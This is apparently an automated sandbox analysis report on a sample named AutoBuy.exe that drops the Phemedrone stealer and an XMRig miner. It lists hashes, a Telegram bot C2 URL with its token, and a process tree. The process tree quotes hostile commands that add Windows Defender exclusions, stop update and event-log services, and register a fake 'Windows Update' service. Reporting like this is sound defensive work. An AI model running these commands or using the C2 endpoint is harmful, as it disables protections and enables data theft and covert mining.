Analysis

  • max time kernel
    600s
  • max time network
    598s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-05-2024 22:11

General

  • Target

    AutoBuy.exe

  • Size

    2.8MB

  • MD5

    ec3328cb44fb4e760b5cdef7bbbcd6f6

  • SHA1

    d93d74a1200418ec041d4206513d511da870eaec

  • SHA256

    ceb1bbd8e4e6d29926c8011524897693a3240a4bda727d309987a6541cd98907

  • SHA512

    e33563185221acfaf7352a37555f8b1c4f73a962f4ae96e1dee52e8f034bc416fee22dff8bba698b596576470c0572abcf5e2dea1929f6151aac05678e78ca01

  • SSDEEP

    49152:JxppTslWVwj1GowiT4QRW5CX42rZSkvFksV4qBNmP+X:JxpHVwIozyg3jvbVHBNI

Malware Config

Extracted

Family

phemedrone

C2

https://api.telegram.org/bot6719312271:AAE1QFaFTcG0HSHiQXVv7gdDUMwSNOPMadg/sendMessage?chat_id=-4194654645

Signatures

  • Phemedrone

    An information and wallet stealer written in C#.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 12 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Creates new service(s) 2 TTPs
  • Drops file in Drivers directory 2 IoCs
  • Stops running service(s) 4 TTPs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • UPX packed file 17 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 14 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 46 IoCs
  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 25 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\AutoBuy.exe
    "C:\Users\Admin\AppData\Local\Temp\AutoBuy.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:3864
    • C:\Users\Admin\AppData\Local\Temp\java2.exe
      "C:\Users\Admin\AppData\Local\Temp\java2.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:376
      • C:\Users\Admin\AppData\Local\Temp\java.exe
        "C:\Users\Admin\AppData\Local\Temp\java.exe"
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        PID:400
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4704
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2376
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            5⤵
              PID:1348
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            4⤵
            • Launches sc.exe
            PID:764
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            4⤵
            • Launches sc.exe
            PID:4956
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            4⤵
            • Launches sc.exe
            PID:1912
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            4⤵
            • Launches sc.exe
            PID:3984
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            4⤵
            • Launches sc.exe
            PID:4756
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2724
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1696
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2524
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3204
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe delete "Windows Update"
            4⤵
            • Launches sc.exe
            PID:4360
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe create "Windows Update" binpath= "C:\ProgramData\Microsoft\update.exe" start= "auto"
            4⤵
            • Launches sc.exe
            PID:4924
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop eventlog
            4⤵
            • Launches sc.exe
            PID:3088
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe start "Windows Update"
            4⤵
            • Launches sc.exe
            PID:4060
      • C:\Users\Admin\AppData\Local\Temp\vlad.exe
        "C:\Users\Admin\AppData\Local\Temp\vlad.exe"
        2⤵
        • Executes dropped EXE
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2376
    • C:\Windows\system32\wbem\WmiApSrv.exe
      C:\Windows\system32\wbem\WmiApSrv.exe
      1⤵
        PID:4668
      • C:\ProgramData\Microsoft\update.exe
        C:\ProgramData\Microsoft\update.exe
        1⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1796
        • C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4704
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1516
          • C:\Windows\system32\wusa.exe
            wusa /uninstall /kb:890830 /quiet /norestart
            3⤵
              PID:1704
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop UsoSvc
            2⤵
            • Launches sc.exe
            PID:5052
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop WaaSMedicSvc
            2⤵
            • Launches sc.exe
            PID:3204
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop wuauserv
            2⤵
            • Launches sc.exe
            PID:3460
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop bits
            2⤵
            • Launches sc.exe
            PID:1696
          • C:\Windows\system32\sc.exe
            C:\Windows\system32\sc.exe stop dosvc
            2⤵
            • Launches sc.exe
            PID:2388
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4300
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4668
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3604
          • C:\Windows\system32\powercfg.exe
            C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:212
          • C:\Windows\system32\conhost.exe
            C:\Windows\system32\conhost.exe
            2⤵
              PID:3276
            • C:\Windows\explorer.exe
              explorer.exe
              2⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3576
          • C:\Windows\system32\taskmgr.exe
            "C:\Windows\system32\taskmgr.exe" /4
            1⤵
            • Checks SCSI registry key(s)
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            • Suspicious use of SendNotifyMessage
            PID:4072

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jkclnum5.uct.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\java.exe

            Filesize

            2.6MB

            MD5

            5dfe953861753222629629ba6121a0bc

            SHA1

            d56d226b950a773d947c7fc42dcff9788a61f4b7

            SHA256

            f23ec1a549bda11f572a2e58f692855a6344bce1ad683ddd730f12342e099975

            SHA512

            aaddb836207c42b6b795ebf8696373d9b4bc56b73cdea47141348955bd49f2d71088d1d97f06813ed5f72b40775c8c25cb23a78048ea4c223e2e4ef7f98d3e2d

          • C:\Users\Admin\AppData\Local\Temp\java2.exe

            Filesize

            2.1MB

            MD5

            fafce5048ad4b205b36844d78f036435

            SHA1

            9e310d6e583722889099bc46f1c8821d31881dab

            SHA256

            39a0270fb0a39cbcc11463681a11fdd7146254c306d79f0500775c09b0ee7eea

            SHA512

            c2d9d1462f9cda573cc676fbafa5b093940e8071c80fe866e33dea8b22f8462f6fb688c3eeb9a6d71f0617b6792a04191639c41ada2c5259a0e5291c63b7e39a

          • C:\Users\Admin\AppData\Local\Temp\vlad.exe

            Filesize

            512KB

            MD5

            0dd8757d42380787ba7162a7776f30c5

            SHA1

            18465ff3c76fc6c441a195b679047f9089b269de

            SHA256

            a6ed050ec8b21feafd3335a3396258be13a2d29601030be8f4b20c682759a2fb

            SHA512

            d0a8354a7af21702f70b5ef7f3440a4755b6e1bb4e39a5c821fcac34e2f019dc73243764ef037efb2ad4de05855ced057d95bc8cdfa1c74ebb27194421297c22

          • C:\Windows\system32\drivers\etc\hosts

            Filesize

            3KB

            MD5

            2d29fd3ae57f422e2b2121141dc82253

            SHA1

            c2464c857779c0ab4f5e766f5028fcc651a6c6b7

            SHA256

            80a60d7ec533d820de20bcedeb41319e7b1def548b6ea73ddbd69455bac4e7a4

            SHA512

            077a5c554663be7b71f181d961f5c98c732bc296dc015ffee30768a648bee3aad62c39c352cf2947432be19519906aeac7dfaf2557d309bb460732abb7fdbc68

          • memory/376-103-0x000000001C650000-0x000000001C86E000-memory.dmp

            Filesize

            2.1MB

          • memory/376-143-0x00007FFCFA420000-0x00007FFCFAEE1000-memory.dmp

            Filesize

            10.8MB

          • memory/376-90-0x00007FFCFA420000-0x00007FFCFAEE1000-memory.dmp

            Filesize

            10.8MB

          • memory/376-91-0x0000000000510000-0x0000000000730000-memory.dmp

            Filesize

            2.1MB

          • memory/2376-99-0x0000000001220000-0x000000000123C000-memory.dmp

            Filesize

            112KB

          • memory/2376-130-0x0000000005C40000-0x0000000005CD2000-memory.dmp

            Filesize

            584KB

          • memory/2376-141-0x0000000006240000-0x00000000062A6000-memory.dmp

            Filesize

            408KB

          • memory/3276-198-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3276-196-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3276-199-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3276-202-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3276-195-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3276-197-0x0000000140000000-0x000000014000D000-memory.dmp

            Filesize

            52KB

          • memory/3576-209-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-206-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-233-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-234-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-232-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-230-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-229-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-205-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-207-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-208-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-204-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-203-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-210-0x0000000000BE0000-0x0000000000C00000-memory.dmp

            Filesize

            128KB

          • memory/3576-215-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-214-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-213-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-212-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3576-211-0x0000000140000000-0x0000000140848000-memory.dmp

            Filesize

            8.3MB

          • memory/3864-145-0x00007FFCFA420000-0x00007FFCFAEE1000-memory.dmp

            Filesize

            10.8MB

          • memory/3864-0-0x00007FFCFA423000-0x00007FFCFA425000-memory.dmp

            Filesize

            8KB

          • memory/3864-1-0x0000000000420000-0x00000000006FA000-memory.dmp

            Filesize

            2.9MB

          • memory/3864-2-0x000000001C720000-0x000000001C984000-memory.dmp

            Filesize

            2.4MB

          • memory/3864-5-0x00007FFCFA420000-0x00007FFCFAEE1000-memory.dmp

            Filesize

            10.8MB

          • memory/4072-217-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-227-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-222-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-223-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-224-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-216-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-218-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-225-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-228-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4072-226-0x000001FDC45E0000-0x000001FDC45E1000-memory.dmp

            Filesize

            4KB

          • memory/4704-148-0x0000029F9DBD0000-0x0000029F9DBF2000-memory.dmp

            Filesize

            136KB

          • memory/4704-182-0x000001C97AE60000-0x000001C97AE7C000-memory.dmp

            Filesize

            112KB

          • memory/4704-183-0x000001C97AE80000-0x000001C97AF35000-memory.dmp

            Filesize

            724KB

          • memory/4704-184-0x000001C97AF40000-0x000001C97AF4A000-memory.dmp

            Filesize

            40KB

          • memory/4704-190-0x000001C97B0E0000-0x000001C97B0EA000-memory.dmp

            Filesize

            40KB

          • memory/4704-189-0x000001C97B0D0000-0x000001C97B0D6000-memory.dmp

            Filesize

            24KB

          • memory/4704-188-0x000001C97B0A0000-0x000001C97B0A8000-memory.dmp

            Filesize

            32KB

          • memory/4704-187-0x000001C97B0F0000-0x000001C97B10A000-memory.dmp

            Filesize

            104KB

          • memory/4704-186-0x000001C97B090000-0x000001C97B09A000-memory.dmp

            Filesize

            40KB

          • memory/4704-185-0x000001C97B0B0000-0x000001C97B0CC000-memory.dmp

            Filesize

            112KB